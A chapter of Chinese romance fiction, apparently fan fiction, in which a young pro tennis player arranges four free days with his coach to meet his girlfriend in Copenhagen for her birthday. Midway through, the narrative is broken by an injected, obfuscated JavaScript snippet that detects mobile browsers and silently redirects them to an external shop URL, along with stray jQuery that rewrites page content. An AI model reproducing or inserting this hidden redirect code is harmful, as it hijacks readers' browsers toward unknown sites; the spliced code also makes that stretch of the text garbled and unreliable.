接下来的半个月,岑韵确实变得非常配合。
如果第二天的安排很满,她会自己提前告诉真田,今晚不用打电话。真田偶尔先看到她的日程,提醒她第二天很忙,她也不再像之前一样争论,只会回一句“知道啦”,后面再跟一个看起来非常委屈的猫猫表情包。
第一次收到的时候,真田盯着手机看了很久。
那只猫趴在地上,耳朵垂着,旁边还有一行夸张的字:我已经很听话了。
真田不太确定她到底是在表示接受,还是另一种形式的不满。他最后只回了一个“嗯”。
岑韵显然对这个回应非常不满意。
——你至少应该说我表现很好。
真田看了一眼她第二天八点半开始的课表。
——早点睡。
岑韵又发了一个猫猫流泪的表情。不过她确实很快就去睡了。
真田原本以为上一次争执多少起了作用。如果只看事实也确实如此,她不再坚持每一通工作日电话都必须保留,有些晚上做完project以后就直接睡觉,第二天醒来再看真田前一天发来的照片和消息。她依然很忙,暑期项目的预报名材料还在继续准备,数学project又增加了一次展示,钢琴和大提琴的练习也没有减少。但她最近如此好说话其实另有原因:
三月快结束了,真田终于要来欧洲了。
这件事最开始并没有确定得那么早。职业比赛的安排一直会根据报名、排名、前一站成绩和身体状态调整,真田也不可能提前一个多月告诉她四月具体会在哪里。岑韵只能从共享日历里看到一个很模糊的方向。
在三月的第二周,真田才基本确定了接下来一段时间的比赛方向。新赛季前三个月,他大部分时间都留在亚洲,成绩非常稳定。教练觉得他三月底可以开始转往欧洲,先打一站葡萄牙的Challenger,再根据成绩和身体状态安排四月后面的比赛。
岑韵在学校图书馆里等下一节课的时候,看到了云盘更新提醒。她把真田新上传的赛程看了两遍,很快发消息问:
——所以你三月底会在欧洲?
——嗯。
——四月也是?
——大部分时间应该在。
岑韵盯着屏幕,很快开始算自己的复活节假期。她的假期比平时周末宽松得多,学校项目虽然还有事情,但至少没有每天固定课程。她本来只是想问一个很简单的问题:
——那我复活节可以去找你几天吗?
她想了想,又补充:
——不用影响你训练或者比赛。我可以等你有空的时候找你。
真田那边过了一会儿才回复:
——我问过了。
岑韵愣了一下:
——问什么?
——四月初的安排。
=====
真田确实比她更早考虑过这件事。几天以前,他刚和藤井谈完四月初的安排。葡萄牙这一站到四月下旬意大利下一阶段赛事之间,本来就存在一段相对完整的调整期。即使葡萄牙打进后几轮,从比赛结束到下一站正式进入比赛准备,中间依然可以留下接近两周的时间。
藤井最初只是拿着赛历和他讨论训练安排。哪几天恢复,哪几天重新增加红土训练量,什么时候做体能,什么时候开始往下一站移动。真田听完以后,把其中几天重新算了一遍。
“我想空出来四天。”
前一站结束以后完成恢复,下一阶段训练前预留出足够时间。整个赛程并不会被切断。新的训练安排实行以后,真田的状态比预想中还稳定。藤井原本还有一点担心他只是把同样的训练量硬塞进更短的时间,观察了一个多月以后才发现情况并不是这样。真田现在的训练质量甚至比年初更好。自从压缩了日程安排,他在训练场上反而比以前更专注,时间使用效率也更高。
藤井问:“见女朋友?”
真田“嗯”了一声。
藤井又看了一遍安排,很快说:“可以。”
真田显然还没有说完。他已经准备继续讨论那四天前后的训练怎么重新拆分,哪一天可以提前做恢复,回来的第二天是不是直接进入完整训练。
“七号早上结束训练的话,我可以——”
藤井抬手打断了他:“你只是出去四天,不是退役。”
真田愣在那里。
藤井看着他的表情,忽然觉得很好笑。
他有时候确实觉得真田这孩子很好带。
训练认真,该做的事情几乎从来不需要别人追着提醒。谈恋爱以后也一样,该完成的训练没有少,身体状态稳定,比赛反而越来越专注。现在只是想从两个多星期的空档里拿四天出去见女朋友,还一本正经地站在这里准备把每一个训练时段重新解释一遍。
从教练的角度看,这件事甚至让他有一种很奇怪的满足感。
训练没耽误,恢复做得很好,比赛也越来越稳定。谈恋爱还能把事情安排得这么清楚,说明这个孩子至少没被自己带歪。
作为教练,他甚至觉得自己相当善解人意。
“训练回来以后再接着做。”藤井把赛历放回桌上,“四天不会让你突然不会打球。”
真田沉默了两秒:“我知道。”
“你知道就行。”
藤井本来准备结束这个话题,临走前还是没忍住多问了一句:“准备去哪?”
真田回答得非常自然:“她定。”
藤井这次倒真的愣了一下。他原本以为真田既然连四天时间都算得这么仔细,那他至少已经把地点、交通和大致安排基本考虑清楚,结果这个平时连训练后的恢复顺序都很少随便调整的人,居然把整趟旅行直接交给女朋友决定。
藤井最后只提醒:“下一站别迟到。”
“不会。”
“那就好。”他摆了摆手,“好好玩。”
真田点头,真的走了。藤井看着他的背影,越来越觉得自己非常通情达理。
=====
岑韵给真田打了电话,听他把这件事解释完。她越听越觉得不太真实。她连续问了两遍:“真的四天?”
“已经跟教练确认过了。”
“训练呢?”
“安排好了。”
岑韵确认完这些,终于彻底放心。她抱着电脑往椅背上一靠,整个人都明显松了下来:“太好了。”
真田看着她:“你想去哪?”
“等一下。”岑韵忽然想起一件更重要的事,“我的生日快到了。”
真田当然知道。
岑韵的生日就在四月。
“所以这可以算我的生日旅行。”她说完又很快问,“你想去哪?”
真田看她:“你生日,你决定。”
岑韵不接受这个逻辑:“我生日又不是说我突然不讲理了。之前地方基本都是我定的。这次你也要有意见。”
“你比较会选。”
“这不是你继续不选的理由。”
她坚持让真田提要求。真田认真想了一会儿,最后还真的说了几个。
城市不要太大。交通不能太复杂。他们这次真正能完整待在一起的时间只有四天,不能像以前法国乡下一样,一整天都花在火车和换乘上。最好安静一点,不需要每天赶很多地方。还有一个非常现实的条件——英语最好能解决大部分问题。
岑韵听到最后一点开始笑:“因为我们不带幸村?”
真田的表情有点复杂。但他没说话。
“我只是确认。”岑韵努力把笑压回去,“确实,我们不能每次出门都指望有一个会当地语言的幸村突然出现。”
上一次法国旅行里,幸村的存在确实解决了不少沟通问题。现在只有他们两个,真田显然不打算把四天旅行变成语言测试。
岑韵把几个条件记下来,很快筛出几个方向:挪威、瑞典、荷兰、丹麦。
其实最后一条要求就可以筛掉很多地方。德语区和法语区的英语普及程度相当不稳定。斯堪的纳维亚地区和荷兰显然更省事。她原本看了一眼奥斯陆,但四月初天气仍然偏冷。阿姆斯特丹交通方便,却比真田想要的稍微热闹了一点。斯德哥尔摩她也喜欢,只是从真田比赛地点过去转场不算最省时间。
最后还剩一个地方。
“哥本哈根。”
真田问:“为什么?”
“我以前去过一次。”岑韵看着地图,“城市不大,英语完全没问题,走路和地铁都很方便,也不用花很多时间在景点之间移动。”
她顿了一下,很笃定地补充:“而且我觉得你会喜欢。”
真田没有问她为什么这么确定。他只是说:“那就这里吧。”
地点就这样定了。但日期仍然不能完全确认。
职业比赛的赛程不会因为他们想旅行就提前变得确定。真田在葡萄牙这一站到底打到哪一天,会直接影响后面的恢复和出发时间。岑韵因此一直没有买票,只把几个航班和酒店备选都存下来,每隔一两天看一次。
她对此倒没有太大意见。反正真田到时候人在欧洲。
光是这个事实就足够让她最近心情很好。
三月底,真田终于飞离亚洲。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17960777|209411||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
长途航班起飞以后,他照例先把第二天需要看的训练记录简单整理了一遍。等飞机进入稳定巡航,周围的灯陆续暗下来,他打开那本一直随身带着,岑韵写给他的Notes。
岑韵给里面的内容加了分类,有一个分类叫:飞机上无聊可以看。
真田以前一直在做如何设计数独的部分。最开始他按照岑韵写的教程,只是从最简单的开始。但现在他已经很熟悉整套流程,甚至开始自己增加复杂度。
藤井有一次在飞机上看到他拿着纸研究格子,看了半天才问:“你什么时候开始喜欢这个?”
真田说:“打发时间。”
藤井当时的表情很难形容。大概是觉得这个兴趣无论从哪个角度看,都不像一个每天训练几个小时的职业网球运动员突然会自己发展出来的东西。
这一次他看了这个分类的第二页:看航班地图。
下面只有几行说明:找一个你完全没听过的城市;不要立刻查;先看它的位置,猜它为什么会建在那里:可能因为河流,可能因为港口,可能因为矿产,可能因为以前的贸易路线,也可能你猜的全都不对;落地以后再查。猜错没有关系;我经常猜错;但是猜的过程比较有意思。
真田看完,停了一会儿,真的打开了航班地图。飞机正在往欧洲方向移动。地图缩小以后,整个北欧很快出现在屏幕上。奥斯陆、斯德哥尔摩、赫尔辛基、哥本哈根几个名字散在海岸附近。
这些地方他当然都听过,严格来说不符合岑韵“完全没听过”的要求。不过他还是看了一会儿,很快发现北欧几个主要首都几乎都靠着海。
奥斯陆深入峡湾,斯德哥尔摩周围全是岛屿,赫尔辛基在芬兰湾边缘,哥本哈根则正好卡在海峡旁边。
真田看着地图,开始想这座城市最早为什么会出现在这里。港口似乎是最直接的答案,也可能和连接不同区域的贸易路线有关。
他把哥本哈根的位置放大了一点,看见丹麦和瑞典之间那条很窄的水道。
四月他们就会在那里。
=====
葡萄牙这一站开始后,岑韵每天都会看比赛结果。真田进入第二轮以后,岑韵给他发:
——你要一直打到最后,我比较想要这种生日礼物。
真田看到以后很快回复:
——这个不能算生日礼物。
岑韵差点被他气笑:
——我只是想说你多赢几场。
——比赛结果不能当礼物。
——弦一郎!你又来了。
她隔了几秒又发:
——算了,比赛加油。
岑韵觉得跟他讲浪漫有时候真的很费劲。
最后这一站停在八强。
真田输给了一名排名明显更高、已经能够稳定参加大满贯资格赛的成年球员。比赛并不算难看,两盘都咬得很紧,但关键分上对方处理得更成熟,真田最后没有把机会转成破发。
岑韵看到比分以后,真的去查了那个对手。她看了排名、最近几个月的比赛结果,甚至翻了几站资格赛记录,然后给真田发了消息。
——我研究完了。
真田刚做完恢复。
——你研究什么了?
——今天这个人。
她发过来一长串资料,最后却只总结了一句:
——他现在比你强的那些地方,基本都是比赛经验。
岑韵又补充:
——但是你很快就会追上。
——然后超过他。
她说得太笃定,甚至没有“我觉得”“应该”这种缓冲,像是在陈述一件以后一定会发生的事情。
真田输了比赛以后原本心情算不上特别差。他已经跟教练在技术层面上分析了这场比赛。但看到这句话时,他还是看了很久。他最后只回:
——知道了。
岑韵很快发来:
——你每次收到夸奖都只会说知道了。
——不然说什么?
——比如谢谢岑韵小姐如此准确地预测了我的职业生涯。
真田没有回复。但是她却已经知道他心情应该还不错。
比赛结束以后,藤井确认了接下来两周的恢复和训练安排。真田的身体状态没有问题,八强结束的时间也比最晚预案提前了一些。
于是那四天的具体日期终于落定。
岑韵收到消息以后,第一件事就是打开之前存好的航班和酒店。
她已经等了快两个星期。
这次终于可以订了。
哥本哈根。